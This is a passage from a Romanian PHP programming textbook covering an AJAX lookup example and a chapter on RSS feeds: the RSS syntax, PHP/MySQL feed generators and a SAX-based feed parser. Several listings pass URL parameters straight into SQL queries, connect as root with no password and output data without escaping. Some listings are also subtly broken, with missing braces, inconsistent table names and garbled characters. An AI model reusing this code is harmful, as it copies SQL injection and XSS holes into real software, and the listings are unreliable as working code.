PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Extragere dinamica de date fara refresh</title>
<script src=”getobject.js” type=”text/javascript”></script>
<script type=”text/javascript” language=”javascript”>
<!-- <![[CDATA[
var request;
function loadInfo(selectObject) {
var name=selectObject.options
[selectObject.selectedIndex].value;
var url=”http://127.0.0.1/xmlhttprequest/
physicist.php?id=”+name;
request=getObject();
request.onreadystatechange = handleRequest;
request.open(”GET”,url,true);
if(window.XMLHttpRequest)
request.send(null);
if(window.ActiveXObject)
request.send();
}
function handleRequest(){
if (request.readyState == 4) {
if (request.status == 200) {
document.getElementById(”message”).innerHTML=
request.responseText;
250 PROGRAMAREA ÎN PHP

}
else {
alert(”Datele cerute nu pot fi cautate:\n”+
request.statusText);
}
}
}
// ]]> -->
</script>
</head>
<body>
<center><form name=”form1”>
<select name=”physicist” onChange=”loadInfo(this)”>
<option>Alege un nume!</option>
<option value=”einstein”>Albert Einstein</option>
<option value=”heisenberg”>Werner Heisenberg</option>
<option value=”broglie”>Louis de Broglie</option>
<option value=”bohr”>Niels Bohr</option>
<option value=”born”>Max Born</option>
</select>
<br /><br />
</form>
<div id=”message” name=”message”></div>
</center>
</body>
</html>

8.9. Aplicaþia Nobel Prize: fiºierul physicist.php


<?php
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata!”);
mysql_select_db(”xmlhttprequest”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
$id=$_GET[’id’];
if(!empty($id)){
$result=mysql_query(”SELECT * FROM info WHERE id=’$id’”);
$res=mysql_fetch_row($result);
$date=”<table border=’1’ cellspacing=’5’ cellpadding=’5’>
<tr><td>Nume</td><td>”.$res[1].
”</td></tr><tr><td>An</td><td>”.$res[2].
”</td></tr><tr><td>Domeniu</td><td>”.$res[3].
”</td></tr></table>”;
echo $date;
}
?>
PHP ªI AJAX 251

Aplicaþia Nobel Prize


252 PROGRAMAREA ÎN PHP

CAPITOLUL 9

PHP ºi RSS
„Ceea ce nu facem repede nu facem deloc!”
Constantin Noica

În acest capitol veþi învãþa sã generaþi feed-uri RSS (Really Simple


Syndication) ºi sã integraþi feed-urile externe în paginile sitului
propriu, utilizând SAX, MiniXML ºi pachetul PEAR::XML_RSS.

Ce este RSS?
RSS, dezvoltat iniþial de firma Netscape (martie 1999) ca RSS 0.90, este
numele unei familii de formate XML utilizate de editorii Web în scopul
distribuirii ºtirilor, noutãþilor sau sumarurilor. Aceastã activitate este cunoscutã sub
numele de Web syndication (punerea la dispoziþie a informaþiilor actualizabile).
Prin utilizarea RSS, informaþiile de pe Web devin mult mai uºor de gãsit, iar
programatorii Web pot rãspândi aceste informaþii mult mai uºor grupurilor de utilizatori
interesaþi. Deoarece datele RSS sunt de mici dimensiuni, ele se încarcã rapid; din acest
motiv, ele pot fi utilizate inclusiv în dispozitive ca telefoane mobile ºi PDA-uri.
În particular, RSS este utilizat de cãtre:
• siturile de ºtiri;
• siturile unor companii care vând diverse produse;
• siturile de tip weblog.
Acronimul RSS se poate referi la:
• Rich Site Summary (RSS 0.9x). RSS 0.90 nu se mai utilizeazã. RSS 0.91 permite o
flexibilitate scãzutã. Versiunile 0.92, 0.93 ºi 0.94 permit o flexibilitate ridicatã. Este
indicat ca în locul versiunilor 0.91, 0.92, 0.93 ºi 0.94 sã se utilizeze RSS 2.0);
• RDF Site Summary (RSS 1.0). RSS 1.0, bazat pe RDF (Resource Description
Framework), este extensibil prin module, fiind utilizat pentru aplicaþiile bazate pe
RDF sau care necesitã module RDF specifice;
• Really Simple Syndication (RSS 2.0). RSS 2.0 este utilizat în scopuri generale, pentru
punerea la dispoziþie a informaþiilor actualizabile.
PHP ªI RSS 253

RSS este deosebit de important deoarece permite informarea utilizatorilor despre


actualizãri ale resurselor online fãrã a utiliza serviciul de poºtã electronicã. Se
reduce astfel posibilitatea rãspândirii viruºilor prin intermediul acestui serviciu.
Din multe puncte de vedere, RSS este similar serviciului newsletter pe care multe situri
îl oferã prin intermediul poºtei electronice în scopul informãrii utilizatorilor despre
actualizãrile efectuate pe aceste situri.
Un RSS feed (cunoscut ºi sub numele de News Feed, RSS stream sau RSS channel)
este un document XML care conþine, în general, o descriere a conþinutului unui sit sub
forma unei liste a celor mai recente articole postate. În mod obiºnuit, aceastã listã
conþine metadate utilizate pentru a furniza titluri (headlines), descrieri (descriptions)
scurte ºi URL-uri cãtre articolele complete. De obicei, un buton portocaliu sau roºu
situat într-o paginã Web indicã un link cãtre un feed RSS.
Un feed RSS este inclus într-un fiºier RSS, acesta având extensia rss sau xml. Datele
incluse în fiºierele RSS provin, în mod obiºnuit, din baze de date. Astfel, este posibil sã
se genereze feed-uri RSS care implementeazã diverse criterii de cãutare a informaþiei.
Utilizatorii pot folosi programe dedicate pentru a crea liste de ºtiri RSS care sunt
actualizate în mod regulat cu ultimele titluri. Aceste programe – de tip feed
reader sau feed aggregator – citesc RSS-urile, extrag informaþia din acestea ºi
o prezintã utilizatorului într-un format accesibil, de exemplu XHTML. Fãrã RSS,
utilizatorii ar trebui sã verifice zilnic siturile de ºtiri pentru a vedea actualizãrile efectuate.
Acest lucru poate fi mare consumator de timp. Cu un RSS aggregator, neajunsul poate
fi evitat. Odatã ce un feed RSS este publicat, acesta poate fi utilizat de alte situri Web
pentru a integra titlurile ºi URL-urile în propriul lor conþinut.
Agregatoarele RSS sunt de douã tipuri: centralizate ºi personale. Agregatoarele
centralizate sunt online. Puteþi trimite adresa fiºierului RSS ºi cãtre un astfel de agregator.
Iatã douã exemple: Syndic8 (http://www.syndic8.com/suggest.php?mode=data) ºi
Daypop (http://www.daypop.com/info/submit.htm, figura 9.1).
Agregatoarele personale ruleazã local (pe calculatorul utilizatorului). Iatã câteva
exemple: FeedDemon (www.bradsoft.com), RSS Bandit (www.rssbandit.org) ºi
NewzCrawler (www.newzcrawler.com).

Figura 9.1. Daypop Aggregator (http://www.daypop.com/info/submit.htm)


254 PROGRAMAREA ÎN PHP

RSS în browser
Popularitatea crescândã a formatului RSS a determinat producãtorii de browsere sã
implementeze posibilitatea de a vizualiza acest tip de ºtiri. În Internet Explorer, acest
lucru este posibil numai dupã adãugarea unor plugin-uri (ca, de exemplu, Lektora –
http://www.clickthenews.com/ –, Pluck – http://www.pluck.com/ –, myFeeds – http://
www.myfeeds.com.ar – etc.). Browserele Firefox ºi Opera (începând cu versiunea 8.0) au
implementatã aceastã posibilitate.
În browserul Firefox, facilitatea se numeºte Live Bookmarks. Ea poate fi utilizatã în
douã moduri. Primul mod presupune cunoaºterea adresei feed-ului ºi se realizeazã prin
intermediul ferestrei Tools-Manage Bookmarks. Al doilea mod este mai intuitiv. Astfel,
dacã Firefox gãseºte într-o paginã Web un link cãtre un feed RSS, în colþul din dreapta
jos al ferestrei browserului va apãrea un icon. Dacã utilizatorul executã un clic pe acest
icon, feed-ul corespunzãtor va fi adãugat automat în lista bookmarks. În acest browser nu
este prezentat decât titlul ºtirii/articolului, fãrã descrierea sa.
În Opera 8.0, dacã utilizatorul executã un clic pe iconul RSS/XML din pagina Web,
browserul detecteazã prezenþa feed-ului ºi îl adaugã automat în meniul Feeds. Acest
browser prezintã atât titlul, cât ºi descrierea ºtirii/articolului. În acest capitol vom utiliza
browserul Opera 8.0 pentru a vizualiza feed-ul RSS oferit ca exemplu. De asemenea,
vom utiliza browserul Internet Explorer 6.0.

Sintaxa RSS
Un document RSS este de tip XML. De aceea, el trebuie sã fie în acord cu specificaþiile
XML 1.0 (Extensible Markup Language 1.0 Third Edition).
În continuare, ne vom referi la scrierea documentelor RSS 2.0. Puteþi obþine informaþii
complete despre sintaxa RSS 2.0 consultând „RSS at Harvard Law” (la adresa http://
blogs.law.harvard.edu/tech/rss).
Prima linie a unui document RSS este o declaraþie XML:
<xml version=”1.0”>
Elementul-rãdãcinã al unui document RSS este rss; el conþine restul documentului.
Acest element trebuie sã aibã precizat atributul version. De asemenea, elementul rss
poate avea precizat atributul encoding (valoarea implicitã a acestuia fiind utf-8):
<rss version=”2.0” encoding= ”iso-8859-1”>
Un element rss poate conþine numai un singur element channel (canal):
<channel>
...........
</channel>
Elementul channel trebuie sã aibã urmãtoarele trei subelemente (obligatorii):
• title – specificã numele canalului;
• link – precizeazã URI-ul cãtre resursa asociatã. O schemã des utilizatã este http://;
• description – reprezintã descrierea canalului.
PHP ªI RSS 255

De asemenea, elementul channel poate avea subelemente opþionale (în numãr de


16). În continuare, vom enumera câteva dintre acestea:
• language – precizeazã limbajul în care este scris feed-ul. Permite indexarea feed-urilor
dupã limba folositã ºi trebuie sã utilizeze codurile precizate în RFC 1766;
• copyright – specificã date legate de drepturile de autor;
• pubDate – specificã data publicãrii (actualizãrii) conþinutului canalului. Aceastã
datã trebuie sã fie precizatã conform specificaþiilor RFC 822, secþiunea 5 (Date and
Time Specification);
• generator – precizeazã programul utilizat pentru generarea canalului;
• image – specificã o imagine care va fi afiºatã odatã cu canalul.

Elementul image conþine trei subelemente obligatorii ºi trei subelemente opþionale.


Elementele obligatorii sunt:
• url – precizeazã URL-ul imaginii GIF, JPEG sau PNG ce reprezintã canalul;
• title – conþine titlul imaginii;
• link – precizeazã URL-ul sitului cãruia îi este asociat canalul.

În practicã, subelementele title ºi link ale elementului image au aceleaºi valori


ca ºi subelementele corespunzãtoare ale elementului channel.
Subelementele opþionale ale elementului image sunt:
• width – indicã, în pixeli, lãþimea imaginii
• height – indicã, în pixeli, înãlþimea imaginii;
• description – conþine textul care va fi inclus ca valoare a atributului title al
legãturii constituite de imagine, dupã transformarea în format XHTML a docu-
mentului RSS.
Fiecare canal va conþine elemente, fiecare dintre acesta fiind precizat prin intermediul
elementului item:
<item>
..........
</item>

Un element item poate include subelemente. În continuare sunt enumerate câteva


dintre acestea:
• title – precizeazã titlul itemului;
• link – conþine URL-ul link-ului;
• description – conþine o scurtã descriere a itemului;
• author – precizeazã adresa de e-mail a autorului ºi, eventual, numele acestuia, sub
forma adresa_email (nume);
• pubDate – precizeazã data publicãrii itemului.
Toate subelementele unui item sunt opþionale. Cu toate acestea, cel puþin unul dintre
ele (ca, de exemplu, title sau description) trebuie sã fie prezent.
Deoarece un fiºier RSS este un fiºier XML, anumite caractere nu pot fi folosite
decât prin utilizarea secvenþelor escape. Aceste caractere ºi secvenþele escape
corespunzãtoare (precizate între paranteze) sunt & (&amp), ” (&quot ), ’ (&apos),
> (&gt) ºi < (&lt ).
256 PROGRAMAREA ÎN PHP

Dupã ce aþi scris un feed RSS, este recomandat sã îl validaþi. Puteþi gãsi validatoare
la adresele http://rss.scripting.com ºi http://feedvalidator.org.
În continuare, puteþi analiza un exemplu în care este prezentat un document RSS 2.0.
Pentru scrierea acestuia au fost utilizate o parte dintre elementele prezentate anterior:
<?xml version=”1.0” encoding=”iso-8859-1” ?>
<rss version=”2.0”>
<channel>
<title>ExampleNet Forum - Ultimele postari</title>
<link>http://www.example.net/</link>
<description>Sit cu tutoriale RSS</description>
<generator>powered by RSS ExampleNet</generator>
<item>
<title>Introducere in XML</title>
<link>http://www.example.net/forum/viewtopic.php?t=149</link>
<description>XML, adica Extensible Markup Language ...
</description>
<pubDate>Tue, 12 Jul 2005 11:40:16 -0500</pubDate>
<author>Radu</author>
</item>
<item>
<title>Introducere in RSS 2.0</title>
<link>http://www.example.net/forum/viewtopic.php?t=150</link>
<desscription>RSS 2.0, adica Really Simple Syndication ...
</description>
<pubDate>Tue, 12 Jul 2005 10:56:23 -0500</pubDate>
<author>Daniel</author>
</item>
</channel>
</rss>
În cele ce urmeazã puteþi analiza acelaºi exemplu, scris ca document RSS 1.0. Dupã
cum aþi aflat deja, RSS 1.0 se bazeazã pe RDF. Gãsiþi informaþii complete despre RDF
la http://www.w3.org/RDF, iar despre RSS 1.0, la http://purl.org/rss/1.0/spec sau la
http://web.resource.org/rss/1.0/spec.
<rdf:RDF
xmlns:rdf=”http://www.w3.org/1999/02/22-rdf-syntax-ns#”
xmlns=”http://purl.org/rss/1.0/”
xmlns:dc=”http://purl.org/dc/elements/1.1/”
>
<channel rdf:about=”http://www.example.net/articles.rss”>
<title>ExampleNet Forum - Ultimele postari</title>
<link>http://www.example.net</link>
<description>Sit cu tutoriale RSS</description>
<generator>powered by RSS ExampleNet</generator>
<items>
<rdf:Seq>
PHP ªI RSS 257

<rdf:li rdf:resource=”http://www.example.net/forum/
viewtopic.php?t=149”/>
<rdf:li rdf:resource=”http://www.example.net/forum/
viewtopic.php?t=150”/>
</rdf:Seq>
</items>
</channel>
<item rdf:about=”http://www.example.net/forum/
viewtopic.php?t=149”>
<title>Introducere in XML</title>
<link>http://www.example.net/forum/viewtopic.php?t=149</link>
<description>XML, adica Extensible Markup Language ...
</description>
<dc:creator>Radu</dc:creator>
<dc:date>2005-05-07</dc:date>
</item>
<item rdf:about=”http://www.example.net/forum/
viewtopic.php?t=150”>
<title>Introducere in RSS 2.0</title>
<link>http://www.example.net/forum/viewtopic.php?t=150</link>
<description>RSS 2.0, adica Really Simple Syndication ...
</description>
<dc:creator>Daniel</dc:creator>
<dc:date>2005-05-07</dc:date>
</item>
</rdf:RDF>

Generarea fiºierelor RSS


Un feed RSS este generat prin intermediul unei aplicaþii numite feed generator. Aceastã
aplicaþie poate fi un simplu script, dar ºi o aplicaþie complexã. În continuare, vom
prezenta un script PHP care genereazã feed-uri RSS 2.0 (Really Simple Syndication).
Scriptul este inclus într-o aplicaþie pe care am denumit-o RSS Articles. Aceastã aplicaþie
conþine fiºierele articles3.php, viewtopic.php, rss.php ºi style.css. Aplicaþia mai include
pictogramele rss.gif (utilizatã pentru pentru a crea o legãturã cãtre fiºierul rss.php;
scriptul conþinut în acest fiºier va genera feed-ul RSS) ºi home.gif. Includeþi toate aceste
ºase fiºiere în subdirectorul articles al directorului rss.
Articolele care vor fi afiºate prin intermediul aplicaþiei sunt stocate în tabelul articles
a bazei de date rss. Fiºierul articles3.php include legãturi cãtre ultimele trei articole ºi
o legãturã cãtre generatorul de feed-uri, care este rss.php. Prin intermediul fiºierului
viewtopiv.php pot fi vizualizate articolele incluse în baza de date. Fiºierul style.css
include definiþiile de stiluri utilizate în aplicaþie.
Aplicaþia nu include fiºiere care sã conþinã un script pentru generarea paginii
principale ºi un script pentru administrare (introducerea ºi modificarea datelor). Lãsãm
258 PROGRAMAREA ÎN PHP

la latitudinea cititorului realizarea acestor scripturi. Am dorit numai sã ilustrãm partea


care permite generarea feed-ului RSS.
Pentru început, creaþi baza de date rss ºi, ulterior, tabelul articles:
mysql>CREATE DATABASE rss;
mysql>USE rss;
mysql>CREATE TABLE articles (
->id int(11) NOT NULL auto_increment,
->author VARCHAR(50) NOT NULL default ’’,
->title VARCHAR(255) NOT NULL default ’’,
->article TEXT NOT NULL,
->pub_date DATETIME NOT NULL default ’0000-00-00 00:00:00’,
->PRIMARY KEY (id)
->);
Tabelul articles are urmãtoarele câmpuri:
• id – este de tip întreg, are atributul auto_increment ºi stocheazã identificatorul
articolelor introduse în tabel;
• author – este de tip VARCHAR ºi stocheazã numele autorului articolului;
• title – este de tip VARCHAR ºi stocheazã titlul articolului;
• article – este de tip TEXT ºi stocheazã conþinutul articolului;
• pub_date – este de tip DATETIME ºi stocheazã data introducerii articolului.
Tabelul are un singur index (id); acesta este de tip PRIMARY KEY (fiecare înregistrare
are un identificator unic).
Introduceþi în tabelul articles câteva înregistrãri. În exemplul oferit am introdus ºase
înregistrãri. Feed-ul RSS a fost adãugat în lista Feeds a browserului Opera 8.0 dupã
introducerea primelor patru înregistrãri. Scripturile incluse în articles3.php ºi, respectiv,
rss.php selecteazã numai ultimele trei (în ordinea descrescãtoare a datei la care au fost
introduse). Din acest motiv, primul articol nu a fost „prins”. Titlurile (conþinute în
câmpul title al tabelului articles) celor ºase înregistrãri sunt:
• Caracteristicile limbajului XHTML;
• Sisteme de gestiune a bazelor de date;
• Limbaje de programare pentru server;
• Funcþii PHP;
• PHP – dezvoltare ºi caracteristici;
• Elemente de POO.
În listing-ul 9.1 este inclus conþinutul fiºierului style.css:
9.1. Aplicaþia RSS Articles: fiºierul style.css
.title {
font-family: tahoma;
font-size: 20px;
font-weight: bold;
text-align: center;
}
.link {
PHP ªI RSS 259

font-family: tahoma;
font-size: 12px;
color: #1477a0;
text-decoration: none
}
.link:hover {
font-family: tahoma;
font-size: 12px;
color: #495f80;
text-decoration: underline
}
.info{
font-family: tahoma;
text-size: 9;
font-weight: bold;
letter-spacing: 1px;
}
td#cell {
font-family: tahoma;
text-size: 9px;
font-weight: bold;
}
td#cell1 {
background-color: #0072aa;
color: #ffffff;
font-family: tahoma;
text-size: 9;
font-weight: bold;
text-align: left;
}
td#cell2 {
background-color: silver;
color: #000000;
font-family: tahoma;
text-size: 9;
font-weight: bold;
text-align: left;
}
td#article {
font-family: tahoma;
text-size: 9;
font-weight: normal;
}
260 PROGRAMAREA ÎN PHP

9.2. Aplicaþia RSS Articles: fiºierul articles3.php


<?php
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata!”);
mysql_select_db(”rss”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
$nr_artic = 3; // numarul articolelor afisate
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Articole despre XHTML, PHP si MySQL</title>
<meta http-equiv=”Content-Type”
content=”text/html;charset=iso-8859-2” />
<link href=”style.css” type=”text/css” rel=”stylesheet” />
</head>
<body>
<p class=”title”>Articole despre XHTML, PHP si MySQL</p>
<table cellpadding=”5”>
<tr>
<td id=”cell”>Articole</td><td>
<?php
$result=mysql_query(”SELECT * FROM articles
ORDER BY pub_date DESC LIMIT 3”);
if(mysql_num_rows($result)>=1) {
while($rand=mysql_fetch_array($result)) {
echo ”<a class=\”link\” href=\”viewtopic.php?id=”.
$rand[’id’].”\”>”.$rand[’title’].”</a><br />”;
}
}
?>
</td>
</tr>
<tr>
<td id=”cell”>Feed Generator</td>
<td><a href=”rss.php?limit=
<?php echo $nr_artic; ?>” target=”_blank”>
<img src=”rss.gif” border=”0” alt=”RSS”></a></td>
</tr>
</table>
</body>
</html>
PHP ªI RSS 261

9.3. Aplicaþia RSS Articles: fiºierul rss.php


<?php
// functia intoarce primele $nr cuvinte ale sirului $text
function subtract($text,$nr) {
$text_final=””;
$text_array=str_word_count($text,1);
for($i=0;$i<$nr;$i++)
$text_final.=” ”.$text_array[$i];
return $text_final;
}
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata!”);
mysql_select_db(”rss”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
header(”Content-type: text/xml”);
echo ”<?xml version=\”1.0\”?>
<rss version=\”2.0\” charset=\”iso-8859-1\”>
<channel>\n
<title>XHTML, PHP si MySQL - ultimele articole</title>\n
<link>http://127.0.0.1</link>\n
<description>Articole despre XHTML, PHP si MySQL
</description>\n
<pubDate>”.date(”r”).”</pubDate>\n
<generator>powered by Traian</generator>\n”;
$limit = (int)$_GET[’limit’];
if (($limit < 1) || ($limit > 50))
{$limit = 15;}
$result = mysql_query(”SELECT * FROM articles
ORDER BY pub_date DESC LIMIT $limit”);
while($thread = mysql_fetch_array($result)) {
echo ”<item>\n
<title>”.stripslashes($thread[’title’]).”</title>\n
<link>http://127.0.0.1/rss/articles/viewtopic.php?id=”.
$thread[’id’].”</link>\n
<description>”.subtract($thread[’article’],20).” ...”.
”</description>\n
<pubDate>”.date(’r’,strtotime($thread[’pub_date’])).
”</pubDate>\n
<author>”.$thread[’author’].”</author>\n
</item>\n”;
}
echo ”</channel>\n
</rss>”;
?>
262 PROGRAMAREA ÎN PHP

9.4. Aplicaþia RSS Articles: fiºierul viewtopic.php


<?php
$conexiune=mysql_connect(”localhost”, ”root”, ” ”) or
die(”Conexiunea cu baza de date nu a putut fi realizata! ”);
mysql_select_db(”rss”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Articole despre XHTML, PHP si MySQL</title>
<meta http-equiv=”Content-Type”
content=”text/html;charset=iso-8859-2” />
<link href=”style.css” type=”text/css” rel=”stylesheet” />
</head>
<body>
<p class=”title”>Articole despre XHTML, PHP si MySQL</p>
<a href=”articles3.php”><img src=”home.gif” border=”0” /></a>
<?php
$id=$_GET[’id’];
$result=mysql_query(”SELECT * FROM news WHERE id=’$id’”);
$article=mysql_fetch_array($result);
echo ”<table cellpadding=’5’>
<tr><td id=’cell1’>Titlu</td>
<td id=’cell2’>”.$article[’title’].”</td>
</tr>
<tr><td id=’cell1’>Autor</td>
<td id=’cell2’>”.$article[’author’].”</td>
</tr>
<tr><td id=’cell1’>Data</td>
<td id=’cell2’>”.
date(’r’,strtotime($article[’pub_date’])).”</td>
</tr>
<tr><td id=’cell1’>Articol</td>
<td id=’article’>”.$article[’article’].”</td>
</tr>
</table>”;
?>
</body>
</html>

În continuare puteþi vedea ceea ce afiºeazã browserul Internet Explorer în urma


execuþiei scriptului articles3.php, dupã introducerea primelor patru înregistrãri:
PHP ªI RSS 263

Aplicaþia RSS Articles

Dacã în browserul Internet Explorer executaþi clic pe iconul RSS, veþi putea vizualiza
documentul RSS generat prin execuþia fiºierului rss.php:

Document RSS generat în urma execuþiei fiºierului rss.php

Dupã ce adãugaþi feed-ul RSS creat anterior (având titlul XHTML, PHP ºi MySQL –
ultimele articole) în Opera, introduceþi încã o înregistrare în tabelul articles (a cincea).
264 PROGRAMAREA ÎN PHP

Canalul XHTML, PHP ºi MySQL – ultimele articole (5 articole în tabel)

Dacã doriþi sã vizualizaþi unul dintre ultimele trei articole, faceþi clic pe legãtura
corespunzãtoare acestuia în fereastra care afiºeazã pagina generatã prin execuþia scriptului
articles3.php sau în pagina care afiºeazã conþinutul canalului RSS. Obþineþi rezultatul
urmãtor (în browserul Opera 8.0):

XHTML, PHP ºi MySQL – ultimele articole: conþinutul unui articol

Dupã cum puteþi constata, fiºierul rss.php genereazã un document RSS fãrã a-l scrie
pe discul serverului. Dacã doriþi, aveþi posibilitatea de a genera fiºiere RSS pe disc, în
condiþiile în care existã drepturile corespunzãtoare. Scriptul inclus în fiºierul rss2.php
(listing-ul 9.5) va genera un fiºier RSS (articles.rss) în directorul curent:
PHP ªI RSS 265

9.5. Aplicaþia RSS Articles: fiºierul rss2.php


<?php
//functie care extrage primele $nr cuvinte ale textului $text
function subtract($text,$nr) {
$text_final=””;
$text_ar=str_word_count($text,1);
$lung=count($text_ar);
for($i=0;$i<$nr;$i++)
$text_final.=” ”.$text_ar[$i];
return $text_final;
}
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata! ”);
mysql_select_db(”rss”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
$limit=3;
$hf=@fopen(”articles.rss”,wb) or
die(”Fisierul nu a fost deschis”);
$result = mysql_query(”SELECT * FROM news ORDER BY pub_date DESC
LIMIT $limit”);
$f= ”<?xml version=\”1.0\”?>\n
<rss version=\”2.0\” charset=\”iso-8859-1\”>\n
<channel>\n
<title>XHTML, PHP si MySQL - ultimele articole</title>\n
<link>http://127.0.0.1</link>\n
<description>Articole despre XHTML, PHP si MySQL
</description>\n
<pubDate>”.date(”r”).”</pubDate>\n
<generator>powered by Traian</generator>\n”;
while($thread = mysql_fetch_array($result)) {
$f.=”<item>\n
<title>”.stripslashes($thread[’title’]).”</title>\n
<link>http://127.0.0.1/rss/articles/viewtopic.php?id=”.
$thread[’id’].”</link>\n
<description>”.subtract($thread[’article’],20).
” ...”.”</description>\n
<pubDate>”.date(’r’,strtotime($thread[’pub_date’])).
”</pubDate>\n
<author>”.$thread[’author’].”</author>\n
</item>\r\n”;
}
$f.=”</channel>\n
</rss>\n”;
$ok=@fwrite($hf,$f) or
die(”Scrierea nu a putut fi efectuata”);
?>
266 PROGRAMAREA ÎN PHP

Dacã preferaþi generarea unui fiºier RSS, trebuie ca scriptul care îl genereazã (în
exemplul nostru, el este inclus în fiºierul rss2.php) sã fie executat în mod regulat. În
acest scop, trebuie sã utilizaþi daemonul cron (citiþi capitolul urmãtor). Legãtura cãtre
fiºierul RSS trebuie precizatã astfel:
<a type=”application/rss+xml” href=”feed.rss”>RSS feed</a>
Generarea unui document RSS fãrã scrierea sa într-un fiºier este o metodã mai
eficientã de utilizare a formatului, deoarece, în acest caz, actualizarea canalului
RSS corespunzãtor se face numai în funcþie de intervalul ales de utilizator în
browser (de exemplu, în Opera 8.0, acest interval poate fi ales în Feeds – Manage Feeds,
prin editarea canalului dorit) sau în feed aggregator-ul local. De asemenea, într-un feed
aggregator local poate fi precizat de cãtre utilizator ºi numãrul de itemi care se doreºte
sã fie reþinuþi de cãtre acesta.

Procesor RSS cu SAX


De multe ori, este util sã putem utiliza în propriul nostru sit feed-uri RSS puse la
dispoziþie în alte situri. Este necesar sã se translateze conþinutul documentului RSS în
format XHTML. În acest scop trebuie sã se realizeze un procesor RSS. În listing-ul 10.6
este prezentat un exemplu de procesor RSS 2.0 scris în PHP (pe care-l veþi salva în
fiºierul rss_parser.php).
9.6. Aplicaþia RSS Articles: fiºierul rss_parser.php
<?php
$title = ””;//retine titlul canalului
$link = ””;//retine URL-ul sitului
$description = ””;//descrierea canalului
$items = array();//tablou care retine itemii canalului
$itemCount = 0;//retine numarul de itemi

function startElement($parser, $name, $attrs) {


global $currentTag;
$currentTag .= ”*$name”;

function endElement($parser, $name) {


global $currentTag;
$star_pos = strrpos($currentTag,’*’);
$currentTag = substr($currentTag,0,$star_pos);

function characterData($parser, $data) {


// se obtin informatii despre canal
PHP ªI RSS 267

global $currentTag;
global $title, $link, $description;
$titleKey = ”*RSS*CHANNEL*TITLE”;
$linkKey = ”*RSS*CHANNEL*LINK”;
$descKey = ”*RSS*CHANNEL*DESCRIPTION”;
if ($currentTag == $titleKey) {
$title = $data;
}
elseif ($currentTag == $linkKey) {
$link = $data;
}
elseif ($currentTag == $descKey) {
$description = $data;
}

// se obtin informatii despre itemi


global $items, $itemCount;
$itemTitleKey = ”*RSS*CHANNEL*ITEM*TITLE”;
$itemLinkKey = ”*RSS*CHANNEL*ITEM*LINK”;
$itemAuthorKey = ”*RSS*CHANNEL*ITEM*AUTHOR”;
$itemDescKey = ”*RSS*CHANNEL*ITEM*DESCRIPTION”;
// se retin informatiile despre itemi
if ($currentTag == $itemTitleKey) {
$items[$itemCount][’title’] = $data;
}
elseif ($currentTag == $itemLinkKey) {
$items[$itemCount][’link’] = $data;
}
elseif ($currentTag == $itemDescKey) {
$items[$itemCount][’description’] = $data;
}
elseif ($currentTag == $itemAuthorKey) {
$items[$itemCount][’author’] = $data;
// se incrementeaza numaratorul de itemi
$itemCount++;
}
}
// se precizeaza fisierul PHP care genereaza feed-ul RSS
$file=”http://127.0.0.1/rss/articles/rss.php?limit=3”;
/* se proceseaza (in ”portii” de cate 4 kB)
documentul RSS generat */
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser,”startElement”,
”endElement”);
xml_set_character_data_handler($xml_parser,”characterData”);
$hf=fopen($file,”r”) or die (”datele RSS nu sunt accesibile”);
268 PROGRAMAREA ÎN PHP

while ($data = fread($hf, 4096)) {


xml_parse($xml_parser, $data, feof($hf))
or die(”Eroare XML ”.
xml_error_string(xml_get_error_code($xml_parser)).
”in linia ”.
xml_get_current_line_number($xml_parser));
}
fclose($hf);
xml_parser_free($xml_parser);
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title><?php echo $title; ?></title>
<meta name = ”description”
content = ”<?php echo $description; ?> ” />
</head>
<body>
<p style=’font-family: verdana; font-size: 16px;
font-weight: bold;’>
<a href = ”<?php echo $link; ?> ”>
<?php echo $title; ?></a></p>
<?php
// se afiseaza informatii despre canal si itemii acestuia
for ($i=0;$i<count($items);$i++) {
echo ”<p><img src=’lens.gif’><span style=’font-family: verdana;
font-size: 14px; font-weight: bold;’>
<a href =’”.$items[$i][’link’].”’> ”.
$items[$i][’title’].”</a></span><br />”;
echo ”<span style=’font-family: verdana; font-size: 12px’>
Autor: ”.$items[$i][’author’].”</span><br />”;
echo ”<span style=’font-family: verdana; font-size: 12px;
font-style: italic;’>”.
$items[$i][’description’].”</span><br />”;
echo ”</p>”;
}
?>
</body>
</html>
PHP ªI RSS 269

XHTML, PHP ºi MySQL – ultimele articole: procesor RSS cu SAX (1)

Procesor RSS
în PHP (1) cu SAX

Puteþi adãuga ºi alte elemente de stil CSS pentru a obþine un aspect cât mai plãcut.
Este necesar ca directorul în care se aflã fiºierul rss_parser.php sã conþinã ºi fiºierul
lens.gif. În caz contrar, eliminaþi elementul img din scriptul prezentat în listing-ul
anterior.
Adãugaþi încã o înregistrare (a ºasea) în tabelul articles. Dacã executaþi încã o datã
fiºierul rss_parser.php, veþi obþine un rezultat similar cu:
XHTML, PHP ºi MySQL – ultimele articole: procesor RSS cu SAX (2)

Procesor RSS
în PHP (2) cu SAX

Procesor RSS cu PEAR::XML_RSS


Puteþi scrie un procesor RSS 2.0 utilizând pachetul PEAR::XML_RSS, dezvoltat de
Martin Jansen (http://pear.php.net/package/XML_RSS). Este necesar ca, în prealabil,
